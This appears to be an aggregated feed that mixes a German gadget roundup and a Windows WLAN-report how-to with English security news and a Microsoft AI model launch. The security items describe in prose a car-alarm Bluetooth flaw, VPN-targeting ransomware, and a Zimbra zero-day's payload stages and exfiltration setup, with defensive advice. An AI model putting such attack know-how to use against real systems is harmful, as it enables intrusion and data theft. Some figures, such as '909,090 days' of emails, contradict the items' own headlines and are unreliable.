Ziemlich genial sind auch diese kleinen Ventilatoren, die man im Sommer einfach in der Hosentasche mitnehmen und bei Bedarf schnell einsetzen kann. Wer schon einmal bei 30 Grad in einer vollen S-Bahn saß und sich zumindest ein wenig frische Luft gewünscht hat, der wird dieses Gadget lieben.



Der Mini-Ventilator für unter 20 Euro mit USB-C-Ladeanschluss kann ganz einfach über Powerbanks, Computer, Laptops oder USB-Ladegeräte betrieben werden. Es gibt aber noch kleinere und günstigere Ventilatoren, die man direkt ans Handy anschließen kann, und gerade mal 2-3 Euro pro Stück kosten. Diese sorgen aber auch für einen weniger starken Luftstrom, daher würden wir eher die erste Variante empfehlen.



USB-C zu HDMI Adapter


Anker



Wenn Ihr Laptop über einen USB-C-Anschluss verfügt, Sie Ihren Monitor aber schon seit Ewigkeiten nicht mehr geupgradet haben, verfügt Ihr Bildschirm vermutlich nicht über einen Typ-C-Anschluss. Dieser Adapter von Anker löst dieses Problem für Sie, sodass Sie das normale HDMI-Kabel, das Sie an Ihren Monitor anschließen, mit diesem Gerät verbinden können.



Der Adapter unterstützt Auflösungen von bis zu 4K bei 60 Hz, was ziemlich beeindruckend ist. Dies ist auch eine raffinierte Möglichkeit, Ihr Smartphone oder Tablet an Ihren Monitor oder Fernseher anzuschließen. Das Gerät kostet circa 13 Euro, aber wir haben es schon für nur 13 Euro bei Amazon gesehen.



Mini-Schraubendreher


Amazon



Wenn Sie häufig an Ihrem Computer oder anderen Geräten herumschrauben müssen, ist dieser elektrische Mini-Schraubendreher vielleicht genau das Richtige für Sie. Dieser stiftförmige Schraubendreher verfügt über vier LED-Leuchten, damit Sie besser sehen können, woran Sie gerade arbeiten, und dreht sich 200 Mal pro Minute, sodass Sie die Arbeit schneller erledigen können.



Der Schraubendreher verfügt über 64 verschiedene Aufsätze, es sollte also für so gut wie jeden Einsatzzweck ein passender dabei sein. Er kann über USB-C aufgeladen werden und hält bis zu drei Stunden lang. Der Elektroschraubendreher kostet normalerweise 41 Euro, ist aber auch für 32 Euro im Angebot erhältlich.



USB-C microSD-Kartenleser


Ugreen / Amazon



Die meisten Laptops verfügen heutzutage nicht mehr über einen Kartenleser, daher muss man andere Wege finden, um Daten von diesen kleinen Dingern zu übertragen. Egal, ob Sie Daten von der Karte Ihrer Dashcam oder Ihrer Kamera übertragen möchten, dieser winzige Ugreen USB-C microSD-Kartenleser ist dafür bestens geeignet.



Der Kartenleser ist so klein, dass Sie ihn wahrscheinlich an einem Schlüsselbund befestigen können. Wenn Sie eine etwas vielseitigere Version bevorzugen, bietet Ugreen ein Modell an, das auch mit SD-Karten kompatibel ist und sowohl über USB-C- als auch USB-A-Anschlüsse verfügt. Alle diese Modelle kosten weniger als 10 Euro und sind daher eine lohnende Investition.



Anker Nano Power Bank


Anker 



Eine Sache, die Sie unbedingt in Ihrer Tasche, Reisetasche oder in Ihrem Rucksack haben müssen, ist eine Powerbank. Denn man weiß schließlich nie, wann das Telefon einen mal im Stich lässt und nach einer Aufladung schreit. Die Anker Nano Power Bank ist zum Glück so klein, dass sie fast überall hinpasst.



Sie verfügt über einen faltbaren USB-C-Anschluss und einen Anschluss an der Seite, sodass Sie bei Bedarf zwei Geräte gleichzeitig aufladen können. Die Kapazität von 5.000 mAh reicht gerade aus, um Ihr Handy einmal vollständig aufzuladen, was in der Not entscheidend sein kann. Außerdem kostet sie gerade mal 26 Euro, ist aber immer wieder mal reduziert.



Endoskopkamera mit Licht


Ennovor



Auch wenn Sie diese Endoskopkamera von Ennovor nicht jeden Tag benutzen werden, kann sie doch sehr nützlich sein. Sie schließen sie einfach an Ihr Telefon an, installieren eine App und sehen alles, was Ihre Kamera macht. Mein Kollege schwört darauf und verwendet sie, um alles zu finden, was so hinter dem Schreibtisch verloren geht.



Gerade dann, wenn Sie am Auto arbeiten oder nach undichten Leitungen suchen, ist das Teil super nützlich. Da sie die Schutzklasse IP67 hat, können Sie sie sogar in Ihr Aquarium stellen. Die Kamera wird mit einem circa 5 Meter langen, halbstarren Kabel und diversem Zubehör geliefert, darunter ein Haken, ein Magnet und ein Spiegel. Sie können diese Kamera im Moment für um die 22 Euro kaufen.



Blukar Taschenlampe


Blukar



Egal, wer Sie sind oder wo Sie so unterwegs sind: Sie brauchen eine Taschenlampe. Je kleiner, desto besser, denn so können Sie sie in jede Tasche stecken. Dieses Modell von Blukar verfügt über einen eingebauten 1800mAh-Akku, den Sie mit einem der vielen Typ-C-Kabel aufladen, die Sie so herumliegen haben.



Mit einer einzigen Ladung können Sie bis zu 16 Stunden arbeiten, was ziemlich gut ist. Sie können zwischen vier verschiedenen Blitzmodi wählen, darunter auch einer, der Ihnen hilft, Hilfe zu signalisieren. Außerdem kostet die kleine Taschenlampe weniger als 10 Euro. Es gibt also keine Ausrede, sich diesen Tipp entgehen zu lassen.



Samsung Flash-Laufwerk


Samsung



Die allermeisten Flash-Laufwerke haben einen USB-A-Anschluss, aber dieses von Samsung besitzt einen Typ-C-Anschluss. Mit Übertragungsgeschwindigkeiten von bis zu 400 MB/s können Sie Dateien im Handumdrehen verschieben. Das Coole an diesem USB-Stick ist, dass Sie ihn sogar in Ihr Smartphone stecken können, um 4K-Videos direkt darauf aufzunehmen.



Das Samsung Type-C Flash-Laufwerk ist in verschiedenen Speicheroptionen erhältlich, angefangen bei 64 GB bis hin zu 512 GB.



Mini Luftpumpe


PCWelt/Cycplus/Amazon



Ebenfalls perfekt für den Sommer geeignet ist diese kleine Luftpumpe von Cycplus, die unterwegs in jede Tasche passt. Sie kann nicht nur einen Fahrradreifen innerhalb von zwei Minuten auf Knopfdruck wieder aufpumpen, sondern wird auch per USB aufgeladen. Sie eignet sich laut Hersteller für Mountainbikes, Rennräder, Motorräder und sogar Autos!



Neben der Luftpumpe selbst lässt sich dieses praktische Gadget auch als Taschenlampe oder Powerbank für unterwegs einsetzen. Alles Dinge, die man auf einer Fahrradtour sehr gut gebrauchen kann. Und für den Preis von nur 45,99 Euro wirklich empfehlenswert, wenn Sie schnelle Hilfe bei platten Reifen benötigen. Im Angebot kostet sie sogar nur 37 Euro.



Leselampe mit Buchklemme


Gritin / Amazon



Wer auch gerne und viel liest, und das teilweise bis spät in die Nacht hinein, wird sich über dieses kleine Teil hier freuen: eine Leselampe, die Sie einfach an Ihr Buch klemmen können. Das ist jetzt vielleicht nichts bahnbrechend Neues, doch mit insgesamt drei Farbtemperaturen und fünf verschiedenen Lichtmodi können Sie individuell anpassen, wie viel Licht Sie zum Lesen brauchen. 



Die Leselampe von Gritin kostet bei Amazon gerade mal 13 Euro und besitzt einen 1200-mAh-Akku, der je nach Nutzung bis zu 80 Stunden durchhält. Danach können Sie ihn einfach per USB wieder aufladen. Den Hals der Lampe können Sie nach Belieben hin- und herschwenken, und es gibt sogar eine kleine Ladeanzeige. Was will man mehr?



Externes DVD-Laufwerk


Amicool



Wenn Ihr Laptop wie viele heutzutage kein DVD-Laufwerk besitzt, dann wird Ihnen dieses kleine Gerät sehr nützlich sein. Dieses externe DVD-Laufwerk von Amicool wird über USB-C (oder USB-A) an Ihren Laptop angeschlossen und bietet Ihnen das optische Laufwerk, das Sie manchmal benötigen.



Es kann DVDs und CDs problemlos lesen und brennen, sodass Sie Software installieren, Dateien kopieren, Daten sichern, Spiele spielen und vieles mehr können. Sie müssen nicht einmal Treiber installieren, da dieses Gerät Plug-and-Play-fähig ist. Normalerweise kostet es 28 Euro, aber oft ist es schon für etwa 20 Euro zu haben, was ein absolutes Schnäppchen ist.



Wiederaufladbare Handwärmer


Amazon / PC-WELT 



Wenn es langsam wieder kälter wird, wünscht man sich oft nichts sehnlicher, als seine Hände etwas schneller aufwärmen zu können. Das geht natürlich auch mit Handschuhen oder einer Tasse Tee, doch diese Handwärmer für 20 Euro sind nicht nur wiederaufladbar, sondern halten Ihre Finger mit einer einzigen Ladung auch bis zu 24 Stunden lang warm.



Die beiden Gadgets verfügen über einen Temperatursensor-Chip, mit dem Sie eine von drei Temperaturen für eine präzise Steuerung auswählen können. Außerdem stehen verschiedene Farben zur Auswahl, wodurch sie sich auch bestens als Geschenk eignen.




2.2 Million Vehicles Exposed to KARR Bluetooth Security Flaw
Fri, 24 Jul 2026 09:54:05 +0200
Millions of drivers with a dealer-installed KARR Security System are being urged to update their KARR alarm using an iPhone or Android device after researchers uncovered a Bluetooth vulnerability that could allow nearby attackers to unlock or immobilize affected vehicles.  

The flaw impacts more than 2.2 million vehicles equipped with the aftermarket security system, but it does not affect factory-installed vehicle software, Apple CarPlay or Apple's iPhone platform. 
KARR Security System Vulnerability Affects Dealer-installed Hardware 
The KARR Security System is installed by dealerships to secure vehicles on their lots. In many cases, the hardware remains connected even after buyers decline the paid KARR alarm service. Because it is third-party equipment, automakers cannot deliver fixes through their standard software update process. 

Researchers from the University of California, San Diego found that attackers within Bluetooth range could lock or unlock vehicles, disable alarms, activate horns, flash lights, or prevent parked vehicles from starting. However, they confirmed the flaw cannot remotely start a vehicle or control it while driving. 
iPhone App Update Fixes KARR Alarm Flaw 
Acrisure Protection Group, which sells the KARR Security System, released a firmware update on July 20 after researchers privately disclosed the issue in January 2025. Owners using the KARR Security app on an iPhone should receive an update notification. Others must download the app, connect it to the KARR alarm, then navigate to "Customer Service" and "Firmware Update."

The patch was released before presentations scheduled for DEF CON on August 9 in Las Vegas and the USENIX Security Symposium on August 12 in Baltimore.
Hidden KARR Security System Complicates Updates 
Researchers estimate at least half of affected owners never requested the KARR Security System. Dealerships often left deactivated hardware installed, yet researchers found these units continued broadcasting Bluetooth signals while vehicles were running and for up to 10 minutes after being switched off.

Owners can identify the system by checking for a KARR or "SWDS" sticker on the driver's window or a blinking button beneath the dashboard. Most affected vehicles were purchased from Honda, Toyota, Mazda, Ford and Jeep dealerships in Southern California between 2017 and July 21, although impacted vehicles were also identified elsewhere.
Shared Bluetooth Key Exposes KARR Alarm Devices
Researchers discovered a universal authentication key embedded in the official smartphone app while reverse engineering Bluetooth communications. Using a proof-of-concept Android app, they unlocked vehicles, disabled KARR alarm functions, and triggered horns and lights.

Although the flaw alone cannot steal a vehicle, researchers said it could provide quiet access before a commercially available locksmith tool creates a working key. Acrisure described the attack as "highly complex" and said the real-world risk is low. Neither UC San Diego nor Wired found evidence of criminals exploiting the vulnerability.
Privacy Concerns and Recommended Action
Researchers also warned that Bluetooth signals from the KARR Security System could reveal vehicle locations. Using the WiGLE wireless database, they estimated at least 2.2 million Bluetooth-enabled systems had been deployed and detected 97 KARR-equipped vehicles during a 20-minute drive near the UC San Diego campus. 

Drivers should confirm whether their vehicle contains a KARR Security System, install the latest firmware using the iPhone or Android app, and contact their dealership or KARR support if they cannot complete the update. 


Russian Hackers Exploiting Zimbra Zero-Day to Steal 90 Days of Emails
Fri, 24 Jul 2026 09:38:53 +0200
Russian state-backed hackers, identified as LAUNDRY BEAR, are exploiting a zero-day vulnerability in the Zimbra Collaboration Suite (ZCS) to stealthily extract sensitive information, including emails, from Western organizations. This operation is focused on espionage rather than financial gain, targeting sectors such as government, defense, energy, education, media, NGOs, and technology. The attack takes advantage of […]
The post Russian Hackers Exploiting Zimbra Zero-Day to Steal 90 Days of Emails appeared first on Cyber Security News.


Ransomware groups are hammering your vulnerable VPNs
Fri, 24 Jul 2026 09:10:09 +0200

		
					  
						




Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin ransomware strain.



A critical authentication bypass flaw (CVE-2026-0257) in Palo Alto GlobalProtect portal and gateway was the common link in a series of intrusions in June, Arctic Wolf Labs warns. Exploitation of the vulnerability came within days of disclosure.



“Post-exploitation tradecraft varied across intrusions, from rapid encryption-only operations to full double-extortion, possibly suggesting multiple affiliates operating under the Qilin ransomware-as-a-service (RaaS) umbrella,” Arctic Wolf’s researchers wrote in a post on the threat.



The campaign against Palo Alto’s VPN client is part of a rising trend that sees ransomware groups increasingly targeting vulnerabilities in network edge tools and devices.



Ransomware takes aim at the edge



Beyond GlobalProtect, Qilin — the most active threat group in Q2 2026, responsible for 14% of attacks, according to NCC Group’s latest Quarterly Cyber Threat Intelligence Report —  has also targeted flaws in Fortinet’s FortiGate, Citrix NetScaler, and Check Point Remote Access VPN.



Check Point warned in June of ransomware attacks against VPNs that still use the deprecated Internet Key Exchange version 1 (IKEv1) protocol. Citrix issued patches in early July for a CitrixBleed-like flaw in its NetScalar devices that had come under attack.



Meanwhile, Fortibleed, a massive credential-compromise campaign, exposed 75,000 FortiGate firewalls in June.  



Qilin is by no means alone in increasing its operations against VPNs and other network security tools.



The Gentlemen, No. 2 on NCC Group’s list with 238 victims in Q2 2026, is noted for breaking into organizations through firewalls, VPNs, and other internet-exposed systems — FortiGate and Cisco products in particular.



Akira, No. 4 on NCC Group’s list (127 victims), is also known for exploiting VPN vulnerabilities and abusing legitimate credentials, primarily versus products from Ivanti, Cisco, and Fortinet.



In the line of fire



Network edge security devices are becoming security liabilities for enterprise security professionals, with an alarming rise in zero-day exploits arising from what experts describe as basic and readily preventable vulnerabilities.



A range of attackers spanning opportunistic hackers to ransomware-as-a-service operators and nation-state sponsored APT (advanced persistent threat) groups are actively exploiting software vulnerabilities in edge devices to hack into corporate networks.



“Although there has not been a material rise in ransomware volume in the last quarter, the trajectory of attacks continues upwards, and VPNs remain an increasingly attractive target,” said Matt Hull, VP and head of cyber intelligence and response at NCC Group.



Unpatched vulnerabilities in edge devices are far from the only software bugs fueling ransomware attacks. For example, last year the Clop ransomware gang hacked hundreds of companies by exploiting zero-day vulnerabilities in Oracle’s E-Business Suite software.



Edge of darkness



VPNs and other internet-facing edge devices remain prime targets for ransomware operators because they provide a direct route into an organization’s network.



“Attackers may exploit an unpatched vulnerability, use stolen credentials, or target weak authentication controls,” said Alexander Leslie, a senior advisor at cyber threat intelligence firm Recorded Future. “In some cases, exploitation begins before organizations have had sufficient time to apply vendor guidance, leaving security teams with a very narrow window to respond.”



VPN exploitation sits alongside other initial access methods, such as phishing, compromised credentials, or software supply chain attacks. The preferred attacker infiltration method varies by campaign and sector but locating security in edge devices carry particular advantages from the perspective of attackers.



“Vulnerabilities in perimeter devices are particularly valuable to attackers because those systems are continuously exposed to the internet and can provide privileged access while bypassing some endpoint controls,” said Leslie.



Dray Agha, senior manager of security operations at managed detection and response firm Huntress, backed up this assessment that exploiting internet-facing VPNs and edge devices remains the “dominant, volume-driven tactic” for ransomware operators because these appliances offer a “direct, publicly accessible gateway straight into the heart of corporate networks.”



Rather than exploiting vulnerabilities in edge devices, attackers more commonly use internet-facing gateways as a means to abuse stolen credentials to break into corporate networks, according to Huntress.



“What we see at Huntress is that the VPN is the site of initial access some 70% of the time, for advanced threat actors,” said Agha. “Overwhelmingly, however, they are not exploiting for access; rather they are using stolen credentials to authenticate to non-MFA’d [multi-factor authentication] user accounts.”



Hardened perimeter



CSOs should treat their network perimeter as hostile territory by enforcing aggressive patch management, applying critical edge device updates within 24 to 48 hours, and mandating strict MFA for all access.



Implementing zero-trust network segmentation to trap attackers and prevent lateral movement if the initial gateway is compromised also helps in making enterprise networks more resilient against attacks, Huntress’ Agha advised.



Phishing-resistant multi-factor authentication, removal of unsupported systems, and close monitoring for unusual authentication or administrative activity also form key components in attack impact mitigation.



Internet-facing assets that are known to be actively exploited should be prioritized as a patching priority.



“Threat intelligence and evidence of active exploitation should help determine which vulnerabilities demand immediate action,” Recorded Future’s Leslie said.



Russian LAUNDRY BEAR Hackers Exploit Zimbra Zero-Day to Steal 90 Days of Emails
Fri, 24 Jul 2026 08:40:52 +0200
Russian state-supported threat actors tracked as LAUNDRY BEAR have exploited a former zero-day flaw in Zimbra Collaboration Suite ZCS webmail to steal up to 90 days of email communications, credentials, and corporate directory data from targeted organizations. The activity, detailed in a joint cybersecurity advisory released on July 23, 2026, has targeted Western government and […]
The post Russian LAUNDRY BEAR Hackers Exploit Zimbra Zero-Day to Steal 90 Days of Emails appeared first on Cyber Security News.


Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit
Fri, 24 Jul 2026 08:25:49 +0200
A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activity has been linked primarily to LAUNDRY BEAR, a Russian state-supported advanced persistent threat (APT) group tracked under several names across the cybersecurity industry. The advisory said the campaign has been active since at least July 2025 and has targeted organizations using the Zimbra Collaboration Suite (ZCS).

Unlike conventional phishing attacks that typically require victims to click a malicious link or open an attachment, the campaign uses a view-based exploit. A user only needs to view a malicious email in a vulnerable version of ZCS webmail for the exploit to attempt execution.
Zimbra Phishing Campaign Uses CVE-2025-66376
The campaign centers on CVE-2025-66376, a vulnerability that was initially exploited as a zero-day vulnerability before a patch was released. According to the advisory, the activity began in July 2025, months before the vulnerability was published and patched.

The vulnerability allows a JavaScript payload contained in email content to execute because of improper sanitization of CSS @import directives within an email. The malicious payload uses Base64 encoding and XOR encryption and can be modified to help bypass basic threat detection signatures.

Once triggered, the payload attempts to collect and exfiltrate information through 12 stages. These include gathering the victim's email address and environment information, collecting two-factor authentication codes and application passwords, attempting to capture saved passwords, enabling mail protocols, gathering the Global Address List (GAL), and sending archived email data.

The advisory said the campaign's use of a zero-day exploit demonstrates the ability of LAUNDRY BEAR to operationalize novel vulnerabilities into a successful attack capability.
LAUNDRY BEAR Targets Email and Sensitive Data
The primary objective of the Russian state-supported cyber actors appears to be the covert acquisition of email data. The campaign attempts to steal the last 90 days of email communications, email addresses, passwords, the organization's Global Address List, 2FA tokens and newly created application passcodes.

The actors have targeted organizations connected to the defense industrial base, government, education, energy, law enforcement, media, non-governmental organizations and technology sectors.

The advisory said LAUNDRY BEAR likely identifies organizations with publicly exposed Zimbra infrastructure through port scanning and commercially available datasets. It may then compile individual user email addresses using commercial data, open-source intelligence or previously exfiltrated information.

The group has also used compromised accounts to distribute phishing emails. Since at least November 2025, malicious emails were reportedly sent from victim infrastructure, potentially using previously compromised accounts to make the activity harder to detect and to bypass anti-phishing measures.
Ulej and Flowerbed Support Email Data Exfiltration
The campaign uses a custom capability called Ulej, which was developed to exploit ZCS and exfiltrate sensitive information. The collected data is sent to infrastructure associated with the Flowerbed framework.

Flowerbed is a Python project using Docker and includes four containers: Catcher, Certbot, Nginx and Gardener. Catcher receives and aggregates stolen information, while Nginx operates as an HTTPS reverse proxy. The framework uses DNS and HTTPS channels for email data exfiltration.

The advisory said the campaign can exfiltrate email content, contacts, attachments, authentication information and other data. The stolen information is initially stored by Catcher before being transferred to non-public-facing infrastructure.

The report also noted indications that artificial intelligence may have played a role in developing the Flowerbed codebase, highlighting the increasing use of AI in developing malicious capabilities.
Organizations Urged to Patch Vulnerable Zimbra Systems
The advisory urged organizations using ZCS to immediately ensure their systems are not running vulnerable versions. A patch for CVE-2025-66376 was released for ZCS versions 10.1.13 and 10.0.18.

If immediate patching is not possible, organizations are advised to have employees use alternative mail clients and avoid the Classic ZCS webmail client until the software is updated.

Security teams are also advised to monitor internet-connected ZCS systems, workstations accessing those systems and network traffic for signs of suspicious activity. Recommended monitoring includes looking for large outbound data transfers to unfamiliar VPS providers, unusual DNS queries with random subdomains, sudden connections to newly established domains and connections involving VPN providers such as Mullvad.

Organizations should also consider authentication services that support passkeys and maintain network monitoring, packet capture or NetFlow data and relevant logs.

The advisory further recommends that organizations identifying victims revoke Application Passcodes and 2FA scratch keys and require affected employees to change their passwords. Security teams should also investigate the original phishing email and quarantine similar messages to prevent further exploitation and data theft.


So erstellen und verstehen Sie den WLAN-Report in Windows
Fri, 24 Jul 2026 08:18:32 +0200





Können Geräte keine Verbindung zum WLAN herstellen oder läuft die Datenübertragung plötzlich lediglich noch im Schneckentempo, ist die Ursache oftmals schwer zu bestimmen. Der Fehler kann an veralteten oder beschädigten Treibern liegen, an einem überlasteten oder falsch konfigurierten Router, an Störsignalen durch benachbarte Funknetze oder daran, dass der Client zu weit vom Router entfernt ist. 



Um sich einen Überblick über den WLAN-Status zu verschaffen und damit diese Probleme zu lösen, bringt Windows ein spezielles Tool mit: Es liefert Ihnen in Sekundenschnelle eine Übersicht zu Ihrem Netzwerk. Hierzu benötigen Sie die Kommandozeile oder Powershell: Starten Sie das gewünschte Eingabeprogramm, indem Sie in der Taskleiste in das Suchfeld Eingabeaufforderung oder Power shell eingeben. 



Achten Sie darauf, dass der Treffer markiert ist und klicken Sie dann auf der rechten Seite auf „Als Administrator ausführen“. In der Eingabeaufforderung tippen Sie den Befehl netsh wlan show wlanreport ein und bestätigen mit Enter. Windows erzeugt nun den WLAN-Bericht und speichert ihn in der Datei „wlan-report-latest.html“ in dem Ordner „C:\ProgramData\Microsoft\Windows\WlanReport“. 


Nach Eingabe des netsh-Befehls erzeugt Windows einen Bericht zum aktuellen Status Ihres Funknetzwerks und führt dabei verschiedene Befehle aus.
Foundry



Am besten markieren Sie diesen Pfad direkt in der Eingabeaufforderung mit der Maus und übernehmen ihn mit Strg-C in die Zwischenablage. Öffnen Sie danach das Suchfeld in der Taskleiste, kopieren Sie den Pfad mit Strg-V hinein und bestätigen Sie mittels Enter. Windows ruft nun Ihren Standardbrowser auf und lädt die HTML-Datei des Berichts. Falls das nicht funktioniert, steuern Sie den Ordner über den Explorer an. 



Allerdings ist das Verzeichnis in den Standardeinstellungen versteckt – Sie müssen es zunächst über die Einstellungen des Explorers sichtbar machen. Klicken Sie anschließend doppelt auf die HTML-Datei, um sie im Browser zu öffnen. Im Bericht sehen Sie ganz oben eine Übersicht der WLAN-Ereignisse der letzten 48 Stunden. Sie können über einzelne Verbindungen mit der Maus fahren, um Details einzusehen. 



Die Ereignisse sind mit farbigen Punkten und Buchstaben gekennzeichnet: Ein schwarzes X auf rotem Grund steht beispielsweise für einen Fehler, N zeigt an, dass die Verbindung zu einem WLAN unterbrochen wurde. Weiter unten finden Sie bei „Report Info“ das Datum, an dem der Bericht erzeugt wurde, sowie die Berichtsdauer. 


Im Summary des Berichts finden Sie Informationen zu Warnungen und fehlgeschlagenen beziehungsweise unterbrochenen Verbindungen zu Ihrem WLAN.
Foundry



Darunter folgt die „General System Info“, die Details zur Hardware, zum Bios und zur Windows-Version verrät. Diese Daten können beispielsweise bei Kompatibilitätsproblemen helfen. Der Abschnitt „User Info“ nennt einige grundlegende Benutzerdaten: 



Darunter finden Sie bei „Network Adapters“ die installierten Netzwerkadapter, und zwar sowohl den oder die Hardwareadapter sowie Softwareadapter, beispielsweise für eine VPN-Verbindung oder für Bluetooth und virtuelle Adapter. Bei „Script Output“ beginnt die Anzeige der Ausgabebildschirme von einigen Troubleshooting-Tools in Windows. 



So liefert der Befehl ipconfig /all zum Beispiel Angaben zur aktuellen Netzwerkkonfiguration sämtlicher Adapter. Das Kommando netsh wlan show all ermittelt Daten zu den installierten Netzwerktreibern, Details zu Ihrem WLAN und den in der Vergangenheit genutzten Access Points. 


Am Schluss des Berichts sehen Sie einen Überblick über die WLAN-Sessions, die protokollierten Ereignisse mitsamt Uhrzeit und die dazugehörige Beschreibung.
Foundry



Darüber hinaus führt Windows für den Bericht den Befehl certutil aus, der Ihnen weitere Einzelheiten über die verschiedenen WLAN-Profile präsentiert. Weiter unten folgt im Bereich „Summary“ ein Überblick über die erfolgreichen und die gescheiterten WLAN-Verbindungen. Dort nennt der Bericht auch die Gründe, warum beispielsweise der Kontakt zu einem WLAN verlorengegangen ist. 



Diese Informationen sind oft besonders hilfreich, wenn es um die Fehlersuche im Netzwerk geht. Ganz am Schluss des Berichts steht der Abschnitt „Wireless Sessions“: Dort sind den WLAN-Adaptern unter anderem Informationen zur Verbindungsmethode und der SSID des WLAN zugeordnet. Des Weiteren stehen an dieser Stelle die Event-IDs und Beschreibungen der Ereignisse beim Aufbau der Verbindung. 



Auch daraus lassen sich Schlussfolgerungen für die Lösung von Verbindungsproblemen ziehen.



Lesetipp: Die besten Tools für WLAN & Heimnetz




Russian LAUNDRY BEAR Hackers Exploit Zimbra Zero-Day to Steal 90 Days of Emails
Fri, 24 Jul 2026 08:10:18 +0200
Russian state-supported threat actors, known as LAUNDRY BEAR, have exploited a zero-day vulnerability in the Zimbra Collaboration Suite to steal up to 909,090 days’ worth of emails from targeted organizations across Western countries. A joint cybersecurity advisory, AA26-204A, issued on July 23, 2026, warns that this espionage-focused group has targeted government, defense, energy, technology, education, […]
The post Russian LAUNDRY BEAR Hackers Exploit Zimbra Zero-Day to Steal 90 Days of Emails appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.


Russian LAUNDRY BEAR Hackers Exploit Zimbra Zero-Day to Steal 90 Days of Emails
Fri, 24 Jul 2026 08:09:22 +0200
Russian state-supported threat actors, known as LAUNDRY BEAR, have exploited a zero-day vulnerability in the Zimbra Collaboration Suite to steal up to 909,090 days’ worth of emails from targeted organizations across Western countries. A joint cybersecurity advisory, AA26-204A, issued on…
Read more →
The post Russian LAUNDRY BEAR Hackers Exploit Zimbra Zero-Day to Steal 90 Days of Emails appeared first on IT Security News.


Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI
Fri, 24 Jul 2026 02:50:17 +0200
Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.
The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.
"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.
How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve
The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.
The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."
MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.
Microsoft's production metrics show in-house models cutting GPU costs by up to 89%
The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 
Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.
On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.
Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.
Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel
In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.
The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.
Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.
That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.
Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship
Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."
